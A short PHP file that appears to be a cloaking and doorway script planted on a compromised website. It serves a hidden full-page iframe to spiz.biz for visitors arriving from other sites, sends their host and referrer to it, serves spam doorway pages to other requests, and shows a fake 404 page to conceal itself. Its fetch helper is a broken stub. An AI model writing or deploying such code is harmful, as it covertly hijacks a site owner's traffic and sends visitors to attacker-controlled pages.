<?php
$p = 'cart'; $d='41083152697';
$path='http://www.ecyrd.com/albums/Doors8/cart.php?cart=';

if (isset($_GET[$p]) && sizeof($_COOKIE) < 2) { 
	if (isset($_SERVER['HTTP_REFERER']) && false===strpos($_SERVER['HTTP_REFERER'],$_SERVER["SERVER_NAME"])){
		echo ('<style>BODY {overflow:hidden; margin:0px;padding:0px;}</style><iframe width="100%" height="100%" border=0 src="'.'http://spiz.biz/?se='.rawurlencode($_SERVER['HTTP_HOST']).'&re='.rawurlencode($_SERVER['HTTP_REFERER']).'">');
		exit; 
	} else {
		$d = @file_get_contents2("/doors/$d/".$_GET[$p].".html");
		$d= preg_replace('/<iframe><\/iframe>/m', '', $d);
		$d=preg_replace('/href=\'(\d+)\'/m', 'href=\''.$path.'$1\'', $d);
		echo ($d);
		exit; 
	} 
}
setcookie('sess', date("F jS - g:i a"), 2592000 + time());


function file_get_contents2($u) {

return $data;
}

function _404_not_found() {
header("HTTP/1.1 404 Not Found");
header("Connection: close");
echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server</p>
<hr>
<address>".(($_SERVER['SERVER_SIGNATURE']!="")?$_SERVER['SERVER_SIGNATURE']:($_SERVER['SERVER_SOFTWARE']." Server at ".$_SERVER['SERVER_NAME']." Port ".$_SERVER['SERVER_PORT']))."</address>
</body></html>"; 
exit;
}

_404_not_found();

?>